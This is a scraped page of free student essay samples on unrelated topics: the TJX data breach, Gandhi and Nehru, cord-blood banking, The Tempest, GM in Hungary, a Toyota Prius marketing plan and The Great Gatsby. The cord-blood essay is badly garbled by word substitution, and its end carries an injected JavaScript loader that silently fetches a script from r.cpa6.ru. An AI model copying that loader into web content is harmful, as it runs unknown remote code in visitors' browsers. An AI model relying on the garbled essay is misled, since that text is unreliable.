Tjx Companies free essay sample

The data theft that TJX Companies experienced was caused by using the Wired Equivalent Privacy (WEP) encryption system. The WEP had become easy for hackers to navigate and had become quite out of date. TJX also failed to properly encrypt data on many of the employee computers that were using the wireless network, and did not have an effective firewall. The company had also purchased additional security programs that were not installed correctly. An alternative to the out of date WEP could have easily been used. The Wi-Fi Protected Access (WPA) standard in conjunction with a sophisticated encryption system could have been used to replace the WEP. Firewalls could have reduced or eliminated the ability of the hackers to gain access to sensitive information. Lastly the company should have ensured that all computers containing customer information were secure when connecting to a wireless network. The cost associated with data breaches can be enormous and infinite. We will write a custom essay sample on Tjx Companies or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page A data breach can have severe repercussions including reputational costs to organization and brand. A data breach can also cause the loss of confidence and apprehension in consumer. This in turn will cause less people to shop with TJX companies which can create a loss in revenue. The consumer can also have charges and unauthorized use of their credit information. Banks and issuers of credit and debit cards were forced to replace the stolen cards and refund any money that was stolen due to fraudulent credit or debit charges. I believe that TJX should have taken full responsibility for that data theft. I think that the biggest moral obligation that was not met is the obligation to securely store customer data. This moral fault has been estimated to cost upwards of one billion dollars. I also believe that TJX should have been held accountable for all damages since it was their lack of security that allowed the hackers to steal the data in the first place.

Neur-Ghandi Story essays

Neur-Ghandi Story essays I found the Nehru Gandhi Story to be depthly intriguing. It is a journey of struggle and sacrifice along a beaten path of relentless adversity. As displayed by the video, the old traditional economic state of India plays a very important part in the rich history of its land and people. This film shoes clearly Indias fight for independence from Great Britain in 1947 is just a beginning to its dynamic story. Further more Gandhi existence is a salvation for the people of India's lower class. He Was able to unite the masses with his spiritual leadership as well as give them a voice through his political mentorship relationship with Jawaharlal Nehru, Indias Prime minister. Together they were able to unite the people of India and free it from Great Britains rule. Although Jawaharlal Nehru and Gandhi became great respecters of one and other, they initially came from very separated backgrounds. As the video illustrates, Jawaharlal Nehru comes from a wealthy upper class family. His father Mohole Nehru sent him to Engeland at a young age to be educated. Like his father Jahabalo excelled through his scholastic studies to emerge back in India as a lawyer. With a solid western education Jawaharlal had visions of the industrialization of India. In contrast, Gandhi was a leader amongst the populous lower class of India. Gandhi opposed modern industrialization and felt that its emergence would only hurt the lower class by leaving them further behind. The movie exemplifies Gandhis beliefs through the description of his symbolized spinning wheel. Gandhi used the spinning wheel as an example of the self-sufficient groups of local villagers scattered amongst the social economic caste system of India. Gandhis economic beliefs in the old traditional economy dove tails with his involvement in the lower class. The caste system of an old traditional economy was tradition, and Gandhi ...

Blood Of Children Sampling Essay Research Paper

Blood Of Children Sampling Essay, Research Paper Should parents pay a blood bank to hive away the blood from their newborn babe # 8217 ; s umbilical cord and placenta, in instance that kid or another household member of all time demands it to handle malignant neoplastic disease or leukaemia? Anticipant parents are being urged to make so by companies that have sprung up during the past few old ages to sell cord-blood banking as a signifier of biological insurance against such awful diseases. The pitch is based on studies in medical diaries, such as a major survey published last hebdomad in the New England Journal of Medicine, demoing that cord blood can sometimes be used in topographic point of a bone marrow graft. Like bone marrow, cord blood is rich in root cells, which can churn out many different types of cells to reconstruct a patient # 8217 ; s blood supply and immune system after high doses of radiation and chemotherapy. And a patient # 8217 ; s ain cord blood, or that from a comparative, is more likely than cord blood from an unrelated giver to be a good tissue lucifer and to be accepted by the receiver # 8217 ; s organic structure. Some experts in bone-marrow organ transplant and blood banking scowl on the cord-blood concern, reasoning that people are being frightened into blowing money on a service they will likely neer necessitate. Furthermore, private companies are turning in tandem with public Bankss, and some scientists worry that private banking will restrict public entree to cord blood. They are concerned because the cord blood in private Bankss remains the belongings of the donor household and is non available to patients seeking a compatible giver. But the companies say that nevertheless remote the possibility that the blood will be needed, people who choose to bank their ain cord blood have a right to make so. In most instances their cord blood would be thrown off in the bringing room if they did non pay to bank it. There are merely a few cord-blood Bankss in the United States, and most infirmaries do non hold specially trained staff members to roll up the blood. Like bone marrow, cord blood must be matched to the receiver by trials for six familial traits that determine an single # 8217 ; s tissue type. Cord blood does non hold to be as exactly matched as bone marrow, but still, the closer the lucifer, the better the odds of success. The weaker the lucifer, the more likely it is that the receiver # 8217 ; s organic structure will reject the graft, or the graft will assail the receiver # 8217 ; s tissues, in a dangerous reaction called transplant versus host disease. The companies that freezing cord blood and bank it point out that a individual # 8217 ; s ain cord blood is a perfect lucifer, and a sibling # 8217 ; s cord blood a more likely lucifer than a specimen from a alien. And so, the statement goes, the best manner to protect an full household from the unthinkable is to salvage the neonates # 8217 ; cord blood. Promotional literature for one company, Cord Blood Registry, in San Bruno, Calif. , emphasizes that people with malignant neoplastic disease in the household may hold a particular involvement in cord-blood banking, along with those who have the hardest clip happening lucifers, which includes members of racial minorities, particularly households in which the parents are of different races. Harmonizing to a spokeswoman, Scoti Kaesshaefer, the company reaches parents-to-be by advancing itself to physicians, nurses and childbearing pedagogues, and by go forthing information at infirmaries. Among the promotional stuffs the company provided to the New York Times were transcripts of articles from other newspapers proposing that malignant neoplastic disease among kids is on the rise. The company besides has a Web site and an 800 figure with a recorded salutation that instructs companies to hold their recognition cards ready. The thought of salvaging one # 8217 ; s ain cord blood seems to be catching on. Cord Blood Registry, which describes itself as the largest private cord-blood banking house in the United States, has stored 10,000 samples during the past three old ages: 1,500 in 1995, R / gt ; 3,000 in 1996 and 6,000 in 1997. The company charges an initial fee of $ 1,200 to roll up a sample and freezing it, and so $ 95 a twelvemonth to maintain it stored in liquid N at the blood bank at the University of Arizona. Customers include people with absolutely healthy kids, who merely want excess peace of head, as good as some households who have lost a kid to leukemia or another disease and fright for the wellness of their other kids. In its three old ages of operation, eight clients have retrieved their cord blood for usage in medical intervention, said Kaesshaefer. All eight samples were used for siblings or relations, she said. By contrast, the largest public-access bank of cord blood, at the New York Blood Center in Manhattan, has collected merely 8,686 specimens in six old ages. But about 800 of those samples have been used to handle patients, many of them kids, in the United States and overseas. Critics of private cord-blood companies point out that even if a individual with banked cord blood does necessitate a graft later, the stored blood may non be the best pick. Dr. Pablo Rubinstein, who directs the cord-blood plan at the New York Blood Center, said there was a compelling medical statement against utilizing a patient # 8217 ; s ain cord blood in some instances. In some immature kids with leukaemia, he said, malignant cells were already present at birth in the cord blood, and instilling those cells back into the kid subsequently might lend to a backsliding. In add-on, he said, bone marrow from a giver could assist destruct morbid cells, an consequence known as transplant versus leukaemia. A individual # 8217 ; s ain cord blood might non hold that consequence, and in some instances even a sibling # 8217 ; s might non. Dr. John Wagner, associate manager of bone marrow organ transplant at the University of Minnesota in Minneapolis, said that for a kid being treated late, he intentionally rejected cord blood from a sibling in favour of a well-matched unit from an unrelated giver, trusting to take advantage of its antileukemic consequence. Dr. Robertson Parkman, manager of bone marrow organ transplant at Children # 8217 ; s Hospital in Los Angeles, said he saw no point in banking cord blood for most households. It # 8217 ; s motivated by fright, he said. But in households with an sick kid who might necessitate a bone-marrow graft, he said, it makes sense to collect cord blood from any siblings born subsequently and salvage it. Medical centres with transplant plans will frequently execute that service, he said. So will some of the private companies, without a fee. When a bone-marrow giver could non be found for 4-year-old Joshua Kelton, who was enduring from leukaemia, his parents, stationed at a military base in Honolulu, conceived another kid in the hope that the babe # 8217 ; s tissues would fit Joshua # 8217 ; s. They did, and Cord Blood Register collected the cord blood at birth, stored it in Arizona for a month, and so, when Joshua was ready for the process, transported it to a medical centre at Stanford University. Joshua was treated with his baby brother # 8217 ; s cord blood in August, and has been declared free of leukaemia. Right now, he # 8217 ; s 100 per centum, his male parent said in a telephone interview, a normal kid, the manner he was before this happened. But the Keltons # 8217 ; experience is barely representative. That the household was certain it would necessitate the cord blood sets it apart from most households that store the blood. Wagner is wary of the hard sell of some of the cord-blood companies. My concern is that it be presented reasonably to expectant female parents, who are already reasonably vulnerable, he said. I have a batch of accoucheurs and parents naming me and kicking it # 8217 ; s excessively late, they missed the chance. Others call stating,# 8216 ; Should I make this? # 8217 ; It # 8217 ; s difficult to reply. I don # 8217 ; t want to bias them. We have person now who takes the calls for me because it got to be overpowering. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Summary of The Tempest Drama by Shakespeare Essay

Summary of The Tempest Drama by Shakespeare - Essay Example The concept of unveiling the play’s events in a long continuous order dents the play. A good player needs to spell out chronological ideas but these ideas should not run as a prolonged course during the presentation (Baker 145- 150). It is advisable to initiate breaks in the play. An effective component of developing breaks in the play is using songs. The writer should have composed a simple song and made it run throughout the drama. The song should appear before the introduction of key scenes. This not only breaks the monotony in the play but also prepares the viewers for the introduction of a novel idea. Songs are also effective in emphasizing the theme of the play or in recruiting the audience to participate in the play. Audience involvement makes the play be livelier. Another effective approach is dramatizing the play and using other live performance accompaniments. This involves employing approaches such us beating of the drum or other percussion appliances in intervals. Moreover, the play may amalgamate the performance with some melodies from the background. A critical application of these apparatus can improve the live performance. Additionally, the choice of language and tone can radically develop the performance. This means the presentation of different concepts or ideas using varying tones become necessary. Some moods or themes may need to be presented using a low tone while others may demand a high tone. Similarly, some statements need to be cool while others set to depict harshness. Tonal variations sway the audience’s mood making them identify with the play’s mood. Furthermore, the practice improves audience’s attentiveness hence an effective aspect of avoiding boredom. This makes the play interesting and lively. The use of gestures is also a key component of a good play. This critical constituent entirely depends on the actors used in the play. Gestures involve the use of body idioms in speaking the desired information. This entails facial expressions and movement of body parts. Of great consideration is the correct use of these gestures because if used incorrectly, they influence negatively on the quality and usefulness of the plays. Specific expressions and movements are suitable for a particular scenario or theme. In some degrees, this should include the use of appropriate outfits and make-ups. This becomes necessary since the appearance of the performer influences audience’s attitude. It is of worth noting that, gestures outweigh verbal language in communicating certain messages. Gestures naturalize message delivery hence making the play lively (Baker, 120). Importantly, there are some stylistic devices which if effectively utilized can improve the play. Firstly, humorous characters can appear in some scenes presenting the definite message. Humorous characters may involve culprits of ignorance, the misinformed group or chauvinists. These actors simply clash with basic societal ideologie s because of their compromised state. Their condition lands them into awkward and sometimes shameful encounters, which make them perplexed.

International Business Management - Eastern Europe Essay

International Business Management - Eastern Europe - Essay Example 2. The maximum rate of Income tax that could be levied after the tax holiday period of 10 years should be fixed at not more than 20 percent of the taxable earnings: In addition to benefit of the tax holiday period the developing countries normally offer concessional rates income tax for any joint venture arrangements. 3. Free conversion and free transferability of funds from and to Hungary to European or US destinations2: Though these facilities were available at the time of negotiation the Hungarian government should make a commitment for the uninterrupted continuance of these facilities, which is very important for the profitable functioning of the join venture arrangement. 4. Concessional duty rates on the import of engines and reduction in the VAT (Value Added Tax) being charged by the Hungarian Government: The import duty on engines depending on the size of the vehicle varied from 10 to 40 percent and there was an additional VAT of 25 percent charged by the Hungarian government. Though Hungary is a signatory to the GATT (General Agreement on Tariffs and Trade) the country was free to vary the duty and VAT structures as it may deem fit in the case of automobiles. Hence there is the need to get the government committed on the basic duty structures which is advantageous to GM Europe. In addition to the tax incentives it is also important that the Hungarian government should provide basic infrastructural facilities to fac... Hence there is the need to get the government committed on the basic duty structures which is advantageous to GM Europe. (ii) Provision of Infrastructural Facilities: In addition to the tax incentives it is also important that the Hungarian government should provide basic infrastructural facilities to facilitate the successful operation of the project. Such infrastructural facilities may include the provision of natural gas to the site in addition to the provision of water, electrical power as may be required, well maintained roads for easy transportation and hassle-free physical movement of engines, components and cars during import and export. (iii) Protection from Competition: In order to gain a distinct competitive advantage there should be a commitment from the Hungarian government that at least for an initial period of 5 years or so the import of cars needs to be banned. Since the Hungarian market was small and the affordability of Hungarian population was also less there is the need for this condition. The country could get other advantages in the form of generation of additional employment and development of local suppliers which need to be traded against the protection needed by the GM Europe for its joint venture in Hungary. Though at the start, the GM plant would be small the facility could be enlarged with modernizing and restructuring of the economy. This is usually the case with any developing economy where there are going to be economic reforms the local industry would naturally develop along with the measures for economic reforms. b. Issues to be raised with RABA: The following issues are to be discussed with RABA for possible acceptance as

Plug-in hybrid Essay Example for Free

Plug-in hybrid Essay This is an analytical and comprehensive approach for preparing marketing plan for Toyota Prius, the hybrid car, consists of formulating strategies and implementing them, with suggestions for recommended changes and implementing the plan. Toyota is well known for its innovative and excellent quality cars all over the world. Toyota has started the hybrid project in about 1991 and launched its first concept in 1997. It is Toyota that made this revolution of hybrid cars a success story. The Global, 21st century known as G-21 team worked on the Prius. It aims in focussing the target market in Australia, in main cities like Sydney, Melbourne, Adelaide, Perth, Canberra, Brisbane, etc. the main focus is on the two kinds of buyers in the market, i. e. the private buyers and the corporate and fleet buyers. The distribution is done through the strong network of 211 dealers in Australia. There is proper training to the dealer about the car and its features as its technology is new in the market. This also helps to solve customers’ objections and their queries. The promotion is done through Medias like television shows, advertisement with celebrity, news paper and magazine. Also through the personnel marketing where the dealer meet and communicate with customers personally. Internet is the modern means of marketing and advertisement. The costing of the car is issue at present movement. But it could be solved with help of government policy and the company’s discount. As the technology improves the cars will be cheaper and can be affordable by lower income segment. Table of content TopicPage No. 1. Introduction4 2. Mission Statement4 3. Situation Analysis4 3. 1. Internal environment4 3. 1. 1. Products4 3. 1. 2. Financial and non-financial situation5 3. 1. 3. Channels5 3. 2. External Environment6 3. 2. 1. Markets6. 3. 2. 2. Competitive environment6 3. 2. 3. Economic environment7 3. 2. 4. Demographic environment7 3. 2. 5. Social and cultural environment7 3. 2. 6. Political and legal environment7 3. 2. 7. Technological environment8 3. 3. SWOT analysis8 3. 4. Critical issues9 4. Marketing Objectives10 5. Marketing Strategies10 5. 1. Target markets10 5. 2. Product strategies11 5. 3. Pricing strategies11 5. 4. Promotion strategies11 5. 5. Distribution strategies12 6. Recommendations for change12 7. Implementation plan13 8. References A. Appendices14 14 1. Introduction: Toyota Motor Corporation is Japanese company and one of the world’s largest automaker. Toyota has created philosophies and techniques which are now implemented commonly in every organisation in the world which is called as the Toyota-style management and manufacturing technique. Toyota is well known for designing and manufacturing of concepts and future cars. Toyota was the first company to manufacture powerful and high quality hybrid car in the year 1997 (Chambers, 2008). Toyota used combination of fossil fuel and electricity for power and manufactured its well known car called ‘Prius’, which gained popularity all over the world within short time. Toyota launched hybrid Prius in Australia in 2001. We will be discussing about the marketing plan of Prius in Australian market and revolution it would create in automotive market. 2. Mission Statement: Toyota’s mission is to deliver outstanding automotive product and to provide service to their customers. It also aims in enriching our community, partners, and environment. Toyota’s four core values are customer first priority, respect for the people, international focus, continuous improvement and innovation . 3. Situation Analysis: It is the analysis of the vast amount of information regarding the organisation, product and the situation they are facing (Cohen, 2005). It consists of various environmental factors and experts call it as process of environmental scanning. 3. 1. Internal Environment: It consists of the situation inside the organisation and its internal working. It can be regarding the product, channels, and financial situation. 3. 1. 1. Product: Toyota has launched wide range of products in Australia which is divided in four segments passenger, four wheel drive and sports utility vehicles, commercial vehicles and Toyota racing development (TRD). Prius comes in the passenger segment of cars. It began in the year 1992; Toyota announced its plans to develop a car with lowest possible emission. It created committee called G-21, G known as global and 21 is twenty-first century. In 1994 the concept car named â€Å"Prius† was developed. Prius is a hybrid car which is combination of fossil fuel and electricity. It used patented Hybrid Synergy Drive system which enables car to give a whooping mileage of 100 kilometres in 4. 4litres of fuel. 3. 1. 2. Financial and non-financial situation: Toyota has large manufacturing facility at Altona, and since 2004 Toyota has invested 800 million in Australian manufacturing plant. Toyota has generated sales revenue of $9. 284 billion and has total assets of $2. 478 billion as of December, 2007. Total exports for 2007 were $1. 7 billion inclusive of parts. Toyota has 4720 employees and about 11,300 dealer employees. It produces about 148,931 vehicles and 112,415 engines. It has domestic sales of 236,647 and exports of 97,688 units to 23 countries. http://www. toyota. com. au/about/key-facts . 3. 1. 3. Channels: â€Å"Distribution channels are set of interdependent organisations involved in the process of making a product or service available for use or consumption by the consumer or industrial user† (Kotler and Armstrong, 2004 p). Toyota is known for its â€Å"just-in-time† production system. It produces car when there is demand from customers. There is direct network between manufacturer of components and Toyota, so that it does not have to maintain inventory. Toyota has wide network of 211 dealers in Australia. Toyota fulfils its consumers demand by its dealer network where approximately 11,300 employees serve. http://www. toyota. com. au/about/key-facts . 3. 2. External Environment: The company’s macro-environment, now known as external factors are uncontrollable forces that the company must watch and also respond to (Kotler and Armstrong, 19871). Fig. 1. (Source: Kotler, et. al [2006], pg: 169) 3. 2. 1. Markets: â€Å"A market is the set of actual and potential buyers of a product† (Kotler and Armstrong, 2004 pg7). The potential buyers of hybrid car are from higher income group and they stay in metropolitan cities. Hybrid car market can be developed in developed countries and advanced cities. Hybrid car owners are educated and have concern towards environmental factors. Hybrid car owners are few years older than average car buyers . 3. 2. 2. Competitive environment: Toyota was the first develop hybrid passenger car called Prius. The biggest competitor of Toyota is Honda. Honda has its hybrid model Insight which poses competition to Prius. Recently ford has also launched hybrid version of its popular SUV Escape. Ethanol blended fuel car also pose competition to hybrid cars, as they have low emission and good mileage. Also non-hybrid cars are not much costly as compared to hybrid cars. 3. 2. 3. Economic environment: â€Å"Factors that affect consumer buying power and spending patterns† (Kotler and Armstrong, 2004 p71). Considering the positive side, many companies gives special offers and incentives to encourage purchasing of hybrid vehicle. There are also Government rebates to encourage buying of hybrid vehicles. Considering the negative side customer has to pay around five to seven thousand dollars more for hybrid vehicle against non-hybrid vehicles. The battery and electric motor replacement are costly parts. Repairs and maintenance facilities are limited to dealerships only. 3. 2. 4. Demographic environment: Demographic environment is very much interest to the marketers. As demography involve people and it is the people who make the market for any product. The private market is an important market, where the consumer is either male or female and in the age group of 30 to 50 years old. The consumers are from wealthy class, they are educated, well informed and they are from AB socio-economic segment. Hence the consumer can be in profession like administrative, or higher managerial or professional occupation who are ready to purchase environmental-friendly car and also pay more for its exceptional features. 3. 2. 5. Social and cultural environment This environment represents the effect of religion, fashion, population trends; social issues like equality and social movements such as environmentalism (Dann, 2004). The customers are from higher income group. Customers have higher level of education, who is concerned about environmental crises. Prius focuses on the customers with age group few years older than the average car buyers, and mostly women prefer for this car. It is preferred by customers who drive fewer miles and ready to pay more for their car. 3. 2. 6. Political and legal environment Australia is quite receptive towards foreign firms to invest in country. Government attract foreign investment by giving various incentives. Australia is politically stable country and has democratic government. So there are less risk for change of policy, increase of duty, blocking company’s property and currency and takeover of company’s property. Government bureaucracy is also important factor which help companies with good market information, efficient custom handling (Kotler and Armstrong, 2004). 3. 2. 7. Technological environment Toyota was first company to successfully launch a hybrid commercial vehicle. High level of research and development and after a long experiment Toyota launched Prius in late 1997. It has developed patented hybrid system called Hybrid Synergy Drive. It provides a combination of electric power and fossil fuel which gives an eye-catching mileage of about 100 kilometres in 4. 4liter of fuel. This technology gives high power output and greater performance as it is combination of fuel and electricity. Due to this combination the car goes for more kilometres in less fuel. This car has fewer emissions and pollutants problem. We can say that hybrid technology gives us clean, powerful and efficient car. 3. 3. SWOT analysis: SWOT analysis is the overall evaluation of company’s strengths, weakness, opportunities, and threat. Strengths: ?Toyota is one of the world’s largest car manufacturers having reliable and high quality image. ?A hybrid car cuts emission by 25% to 30% ?‘Just-In-Time’ production ?It has greater fuel economy typically around 100 kilometres in 4. 4litres ? Government gives incentives on hybrid cars. ?It has the â€Å"green† image for car. ?It is â€Å"new† and successful technology. Weakness: ?There is high cost involved in research and development and technology is costly. ?The car is much pricier than non-hybrid cars. ?Fuel saving is limited, and only if the car is driven within the limit. ?It has low speed? Customers has limited choice ?The maintenance can be costly as lot of electronics and computer are involved Opportunities: ?Targeting the people who are environmentally conscious. ?It can be used to lower the global warming concerns ?As technology becomes more and more affordable, car can introduced in lower income segment ? There is also scope for future government policy for transition to hybrid technology. Threats: ?In non-hybrid cars with gasoline and ethanol blend, gives good mileage and have lower emission problem ? Diesel technology also gives good mileage, but has emission problems ? There are threats from small cars like Honda Civic or Mazda 3 which are fuel efficient and less costly than hybrid cars. ?To pay four to six thousand dollars more to get twenty five percent improvement can be a tough decision to make. 3. 4. Critical Issues: ?Will the cost of hybrid cars Prius be reduce? ?Can lower economic segment of society be able to buy Prius? ?Can the maintenance of car and parts become cheaper? ?Will customers have a variety of hybrid models to choose from? ?Can Prius become more fuel efficient? ?Can the emission be reducing to almost negligible? ?Should Toyota focus its research on other type of hybrid vehicles? 4. Marketing Objectives: ?Customers and consumers should be made aware of new product i. e. Toyota Prius. ?Increasing shareholders wealth which is achieved by higher profits and increased sales. ?As this is new product and having new technology, the objective is to educate consumers and explain its working and advantage of this. ?Prius should me made marketed so as to make it valid alternative to traditional cars. ?Customers should be communicated through website, brochures, visiting local dealer and ordering test drive to know about Prius. ?Communication should lead to purchase, and also number of visits to dealer should be turned into sales. 5. Marketing Strategy: Marketing strategy also known as ‘the game plan’ is used to fulfil the plan’s objective. It consist of strategy for target markets, product strategy, pricing strategy, promotion and distribution strategy (Kotler et. al, 2006). 5. 1. Target markets: Target market consists of a set of buyers who share common needs or characteristics that the company has decided to serve (Kotler et. al, 2007). Toyota is the first mass produced hybrid car. Hybrid car market is new and having light competitive. Prius belong to the lower to medium passenger car segment. Toyota has competition from Honda’s Insight, which is the two-seat sports car. But it is not offering the features like Prius. Prius focuses on providing comfort to passenger segment i. e. C, so there is strong competition in this segment . The target market for Prius concentrate on two major categories: the customers and consumer. Customers are corporate buyers and fleet. Customers buy cars either for corporate hire / rental or for company fleets. Toyota can make tie-ups with corporate and provide special offers to them. They can be reached through business press and media. Since Prius is low in operating cost and its environmental friendly features makes it interesting for business buyers. In consumer market, Prius focuses on consumer who is few years older than average car buyers. It focuses especially females with higher income group. Consumers who are eco friendly and educated are also targeted . 5. 2. Product strategies: â€Å"It is the total benefit that the seller offers through its product features to its customers† (Dann and Dann, 2004 p20). Toyota Prius is a product which requires high involvement and it’s having unique features, which require personal selling. Personal selling can be achieved through the dealer network, which will be given special training about the car, its advantages and also trained to overcome objections form customers. Personal training is also useful to target corporate customers and fleet buying customers, who buy fleet of cars for rental or corporate use, by convincing them about the environmental factors and efficiency in long term use. Dealers should also personally visit the potential buyer group, like environmental friendly and higher income group. 5. 3. Pricing strategies: â€Å"Pricing strategy is a cost to the customer incurred by acquiring and using the products† (Dann and Dann, 2004 p20). As Prius is new technology and new product in market it is some-what costly than other traditional cars. To make people buy Prius, company should implement sales promotion and there should be incentives to buy Prius. This helps product to be accepted in market at its early stage of life-cycle. There should be tie-ups with government to encourage the sale of hybrid and clean cars. Government should give incentives to buy low emission and hybrid cars. Currently Prius is available between ranges of $37,400 to $46,900. This price tag is quite high as compared to other cars of the same segment. 5. 4. Promotion strategies: â€Å"Promotion strategy is the use of audio and visual communications, elements of marketing for the purpose of getting a message to the market place† (Dann and Dann, 2004 p20). The promotion of the Prius can be done through mass communication media. There should be continuous advertisement in news papers and magazines about the cars and its features. Television commercials are expensive, but they are very effective strategy in promotion. Other media is radio and hoardings which can influence customers to buy car. The brand image of the product can be made by sponsoring some sports events or similar kind of promotion, which will boosts sales of the car. One of the better ways to promote Prius is associate it with some celebrity from Hollywood or some sports or cricket personality. This will create a different image of car for the people. 5. 5. Distribution strategies Distribution strategy plays an important role in marketing. Toyota is having wide network of 211 dealers in Australia. The retail private buyer i. e. consumer will buy the car from the franchised dealer network. There should be special dealers for the fleet buyers, who buy cars in fleet for corporate or rental use, so as to demonstrate the benefits and advantage of hybrid car. This should be directly connected to company so that the cars can be customised according to the need of the corporate users. There should be strong supplier network. Distribution strategy should be set for the supplier network also so that it receives components and parts on just-in-time basis. 6. Recommendations for change: As Prius is new concept with new technology, there should be rigorous testing on the car so that product is placed at strong position in market. Testing with the customer and consumer makes their ideas clear about the car and encourage them to go for hybrid car. There should be campaigns and promotion activities for corporate and fleet buying customers. Company should carry out seminars and demonstration for customer, where they are explained the benefits of hybrid cars and its benefits in long term use. There should be personal promotion strategy used by the dealer. The existing customers of Toyota and the owners of expensive car should be contacted by mail and telephone to create awareness for the vehicle. Company should create awareness about environmental concern and rising fuel price. Government should participate in promotion activity to use hybrid cars by giving incentives or tax benefits for the hybrid car customers. There should be research and development to reduce the cost of the car. There should be specialised dealer network for specialised hybrid car like Prius. Television, print media, radios; hoardings are one of the best means for the promotion activity. 7. Implementation plan: The above recommended plan can be implemented by using various promotion activities. The dealer should make the car run on streets of city with promotional advertisement on the car. This creates direct impact on the people. The car should be promoted by television programs which deal with cars like the Top Gear on BBC, which can create a positive image of the car. Promotional activity can be carried out by the use of print media in business magazine like The Time, Fortune, etc. also in daily news papers and periodicals. Outdoor billboards should be placed in busy areas like station and in urban areas. Internet can be used to directly reach to people. There should be online brochures and facility to have detailed specification of car. Customers should be able to book car online and also test drive. Time line must be set and there should be target number of vehicles that must be sold within the time frame. There should be attractive price and attractive looks and features that will force people to buy the car. 8. References: CHAMBERS K [2008] â€Å"Toyota† Greenwood Press, Westport, Connecticut, London. DANN S and DANN S [2004] â€Å"Introduction to Marketing† John Wiley and Sons Australia, Ltd. KOTLER P and ARMSTRONG G [2007] â€Å"Marketing – an introduction† 3rd ed. Prentice Hall Englewood Cliffs, New Jersey. KOTLER P, BROWN L, ADAM S, BURTON S and ARMSTRONG G [2007] â€Å"Marketing† 7th ed. Pearson Prentice Hall, Australia. Website: [http://www. toyota.com. au/about/vision] accessed 2/03/2009, 0900hrs. [http://andidas. deviantart. net/projects/academic/MaketingCommunications_ToyotaPriusMarketingPlan. pdf] accessed 2/02/2009, 1000hrs. [http://www. toyota. co. jp/en/tech/environment/hsd/pdf/a_guide_to_hsd. pdf] accessed 1/02/2009, 1100hrs. [http://www. toyota. com. au/about/key-facts] accessed 1/02/2009, 1100hrs. [http://www. hybridcars. com/hybrid-drivers/profile-of-hybrid-drivers. html] accessed 2/02/2009, 1600hrs. A. Appendices: Figure 1. Major Force in organisation’s macro environment.

Human Heart :: Free Essay Writer

Human Heart Discuss the ways in which a novelist explores the condition of the human heart in a novel you have studied. In the novel â€Å"The great Gatsby†, the novelist F. Scott Fitzgerald explores the conditions of the human heart through relationships that occur in this story. The relationships between Daisy and Tom Buchanan, Myrtle and Tom, Myrtle and George Wilson and Nick and Jordan, all are flawed by the selfishness of individuals and lack of actual love. Fitzgerald compares this to the time era the novel is set in, the 1920’s. This was a time of â€Å"false† security in that the economy was going to stay high forever(the crash soon followed) and false hope in the American dream. The relationships like this false sense of security looked good, but were built on nothing and so â€Å"crashed†. The contrast to this was the relationship between Daisy and Gatsby, although not successful, it was built on something more than the selfish and shallow needs of individuals. The first relationship that is explored in this novel is Daisy and Tom Buchanan. Their relationship is one that looks ideal. Tom is the typical hero, one of the most powerful ends at New Haven, hulking muscle mass (with a personality to match) and very wealthy. Daisy is the very beautiful, soft spoken and witty girl in which everyone loves. Together they perfect examples of the American dream. But as we see at Nick’s first visit to the Buchanan’s, there is a sense of real love lacking from their relationship, shown by their interactions. â€Å"It’s romantic, isn’t it, Tom?† The relationship is based on money and the social scene of the wealthy rather than actual love for each other. But because they are similar characters in the way that their values are built on money and wealth, they do stay together and why Daisy doesn’t marry Gatsby. â€Å"†¦retreated back into their money or vast carelessness, or whatever it was that kept them together,†¦Ã¢â‚¬  Tom feels the lack of love from his relationship with Daisy, but is too stupid to actually realise it, and because that is the relationship he â€Å"should† (according to the American dream) be in, will never realise it. We see this in his restless behaviour. â€Å"†¦Tom would drift on forever, a little wistfully, for the dramatic turbulence of some irrecoverable football game.† This is what makes Tom have mistresses such as Myrtle Wilson. This relationship replaces what lacks from his relationship with Daisy.